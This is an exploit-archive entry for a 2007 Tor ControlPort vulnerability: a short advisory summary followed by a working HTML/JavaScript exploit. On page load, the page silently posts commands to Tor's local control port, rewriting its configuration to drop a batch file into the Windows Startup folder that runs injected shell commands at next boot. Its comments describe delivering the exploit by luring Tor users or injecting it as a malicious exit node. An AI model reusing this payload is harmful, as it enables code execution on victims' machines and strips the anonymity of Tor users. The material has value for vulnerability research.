source: http://www.securityfocus.com/bid/25188/info

Tor is prone to an unauthorized-access vulnerability due to a design error when handling multiple connections to the ControlPort.

An attacker can exploit this issue to reconfigure Tor and significantly weaken the anonymity provided by the software.

Tor 0.1.2.15 is confirmed vulnerable; previous versions may also be affected. 

<!-- 

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability 
http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:\Documents and 
Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking 
something like this: reject*:1337\&#039;&&#039; calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry &#039;reject*:1337&#039;& calc.exe 
to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 
rows of crap which the user will see in about 1 sec, drop me a mail if 
you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic 
when you&#039;re a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> 
( that&#039;s why I tried to fit everything inside <HEAD />), and fix 
Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

	cmd = &#039;cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > 
NUL & del t.bat > NUL & exit&#039;;
	inject = &#039;\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file 
C:\\\\Documents and Settings\\\\All Users\\\\Start 
Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\&#039;&&#039; + cmd + 
&#039;&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\n&#039;;
	
	form51.area51.value = inject;
	document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" 
action="http://localhost.mil.se:9051" method=POST 
enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
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                     ||     ||
</pre>
</body>
</html>
